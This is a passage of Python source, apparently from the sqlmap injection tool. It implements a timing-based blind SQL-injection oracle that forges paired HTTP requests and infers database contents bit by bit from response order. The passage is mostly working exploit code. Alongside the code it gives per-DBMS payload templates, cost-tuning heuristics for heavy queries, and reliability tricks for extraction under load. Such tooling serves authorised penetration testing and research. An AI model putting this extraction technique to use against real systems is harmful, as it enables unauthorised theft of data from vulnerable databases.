"""Return (trueCond, falseCond): a KNOWN-true and KNOWN-false boolean of the SAME shape real
|
|
extraction injects - the per-DBMS inference comparison applied to the version banner, i.e. an
|
|
UNCORRELATED, non-constant-foldable predicate (e.g. ASCII(SUBSTRING((VERSION())::text FROM 1 FOR 1))>1
|
|
for true, >255 for false). This matters because some optimisers (CockroachDB, TiDB, ...) HOIST the
|
|
uncorrelated heavy subquery out of the CASE and run it in BOTH branches for such a predicate, while a
|
|
CONSTANT-foldable probe like '1=1'/'1=0' lets them prune the dead branch at plan time - so calibrating
|
|
with the constant sees a clean heavy delta the REAL extraction never has and engages straight into
|
|
corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target
|
|
measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan
|
|
safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no
|
|
inference/banner template (calibration still gates, just without the hoist check)."""
|
|
from lib.core.data import queries
|
|
|
|
try:
|
|
entry = queries[dbms]
|
|
template = entry.inference.query # e.g. 'ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d'
|
|
banner = entry.banner.query # e.g. 'VERSION()' / 'SELECT @@VERSION'
|
|
# int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range)
|
|
return (template % (banner, 1, 1), template % (banner, 1, 255))
|
|
except Exception:
|
|
return ("1=1", "1=0")
|
|
|
|
|
|
def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1):
|
|
"""Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy
|
|
that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load,
|
|
and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if
|
|
none qualifies.
|
|
|
|
Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N)
|
|
and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a
|
|
generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits
|
|
under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and
|
|
load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny."""
|
|
from lib.core.common import Backend
|
|
|
|
dbms = dbms or Backend.getIdentifiedDbms()
|
|
# Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a
|
|
# target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with
|
|
# ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions().
|
|
trueCond, falseCond = _calibrationConditions(dbms)
|
|
best = 0.0
|
|
for cost in LIGHT_HEAVY_COSTS:
|
|
vector = lightHeavyVector(dbms, cost)
|
|
if not vector:
|
|
return (None, None, 0.0)
|
|
reqSlow = _forgeRequest(trueCond, conn.host, vector)
|
|
reqFast = _forgeRequest(falseCond, conn.host, vector)
|
|
# Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair
|
|
# (reqFast vs reqFast). Their separation decides whether a real bit's response ORDER is readable
|
|
# (the reliability gate that picks which cost to engage at).
|
|
try:
|
|
heavyPair = _pairMs(conn, reqSlow, reqFast, timeout=timeout)
|
|
cheapPair = _pairMs(conn, reqFast, reqFast, timeout=timeout)
|
|
except Exception:
|
|
heavyPair = cheapPair = 0.0
|
|
separation = heavyPair - cheapPair
|
|
# Reliability gate: the separation must clear an ABSOLUTE floor AND a FRACTION of the base (cheap)
|
|
# pair time. An absolute-only floor is enough on a fast single-hop path (cockroach base ~8 ms, a
|
|
# 16 ms separation is 2x the base) but marginal on a slow multi-hop one: on Oracle the base pair is
|
|
# ~50 ms, so a 15 ms separation is swamped by round-trip jitter under extraction load and ~10% of
|
|
# TRUE bits flip - even though it calibrates clean IDLE. Requiring separation >= a fraction of the
|
|
# base forces such a target to climb to a cost whose margin survives load (Oracle 60k sep 15 ms ->
|
|
# reject -> 200k sep 61 ms -> 0 flips). A fast path is unaffected (its base is tiny).
|
|
# `loadFactor` (= worker thread count) scales the required margin: N value-parallel workers each
|
|
# fire a heavy query, so the server sees ~Nx load during extraction that single-threaded calibration
|
|
# does not, dragging a marginal bit's cond-last fraction into the ambiguous band. Demanding N x the
|
|
# separation here climbs to a cost whose bigger delta keeps the fraction ~1.0 even under that load.
|
|
if separation < MIN_HEAVY_MS * loadFactor or separation < cheapPair * MIN_SEPARATION_FRAC * loadFactor:
|
|
if progress is not None:
|
|
progress()
|
|
continue # margin too thin to survive load -> escalate cost
|
|
usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress)
|
|
best = max(best, confidence)
|
|
if usable:
|
|
return (vector, cost, confidence)
|
|
return (None, None, best)
|
|
|
|
|
|
def _forgeRequest(inferenceExpr, authority, vector=None):
|
|
"""Forge the full HTTP request sqlmap would send for a payload carrying `inferenceExpr` at the
|
|
INFERENCE_MARKER slot of `vector` (default: the current technique's vector), but capture it
|
|
(buildOnly) instead of sending - ready to coalesce. Late placeholders ([RANDNUM]/[SLEEPTIME]/...)
|
|
are filled by agent.payload just like a normal request."""
|
|
from lib.core.agent import agent
|
|
from lib.core.common import getTechniqueData
|
|
from lib.core.settings import INFERENCE_MARKER
|
|
from lib.request.connect import Connect
|
|
|
|
vector = vector if vector is not None else getTechniqueData().vector
|
|
forged = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, inferenceExpr)))
|
|
spec = Connect.queryPage(agent.payload(newValue=forged), buildOnly=True)
|
|
return _specToReq(spec, authority)
|
|
|
|
|
|
def readBitLive(conn, condition, vector=None, votes=1, timeout=30):
|
|
"""Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison
|
|
bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the
|
|
negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work,
|
|
so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector
|
|
(rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds."""
|
|
reqCond = _forgeRequest(condition, conn.host, vector)
|
|
reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector)
|
|
return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout)
|
|
|
|
|
|
def readBitAsymmetric(conn, reqCond, reqRef, votes=12, timeout=30):
|
|
"""Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy
|
|
reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50
|
|
and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS
|
|
errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially
|
|
always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over
|
|
a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a
|
|
phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still
|
|
clears the threshold comfortably. Used as the tiebreak when the symmetric read splits.
|
|
Returns True iff the condition holds."""
|
|
condLast = 0
|
|
for i in range(votes):
|
|
if i % 2 == 0:
|
|
order, _ = conn.exchange_pair([reqCond, reqRef], timeout); condSid = conn.next_sid - 4
|
|
else:
|
|
order, _ = conn.exchange_pair([reqRef, reqCond], timeout); condSid = conn.next_sid - 2
|
|
if order[0] != condSid: # cond finished last -> it ran the heavy branch this vote
|
|
condLast += 1
|
|
return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%)
|
|
|
|
|
|
def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None):
|
|
"""Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0
|
|
stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence);
|
|
below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle."""
|
|
reqSlow = _forgeRequest("1=1", conn.host, vector)
|
|
reqFast = _forgeRequest("1=0", conn.host, vector)
|
|
return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
# End-to-end self-test against a local h2 target that gates query cost on ?bit=/&cap= (scratchpad
|
|
# h2sqlserver.py): calibrate, then read a run of known bits and report accuracy.
|
|
import sys
|
|
|
|
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
|
|
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8470
|
|
cap = int(sys.argv[3]) if len(sys.argv) > 3 else 8000
|
|
|
|
def req(bit):
|
|
return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host}
|
|
|
|
conn = connect(host, port, None, 30)
|
|
usable, conf = calibrate(conn, req(1), req(0), trials=40)
|
|
print("calibrate: usable=%s confidence=%.3f" % (usable, conf))
|
|
if usable:
|
|
import itertools
|
|
# Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy
|
|
# iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one
|
|
# runs heavy, so a single pair resolves the bit both ways.
|
|
bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24))
|
|
ok = 0
|
|
for b in bits:
|
|
got = readBit(conn, req(b), req(1 - b), votes=1)
|
|
ok += int(bool(got) == bool(b))
|
|
print("read %d/%d bits correctly (single pair each)" % (ok, len(bits)))
|
|
conn.close()
|